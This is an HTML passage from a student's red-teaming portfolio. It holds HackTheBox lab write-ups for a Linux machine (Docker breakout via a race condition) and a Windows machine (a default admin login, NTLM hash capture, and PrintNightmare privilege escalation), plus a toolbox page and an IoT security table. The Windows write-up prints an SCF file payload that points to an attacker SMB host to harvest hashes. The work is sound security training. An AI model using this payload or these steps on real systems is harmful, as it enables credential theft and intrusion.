"LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal 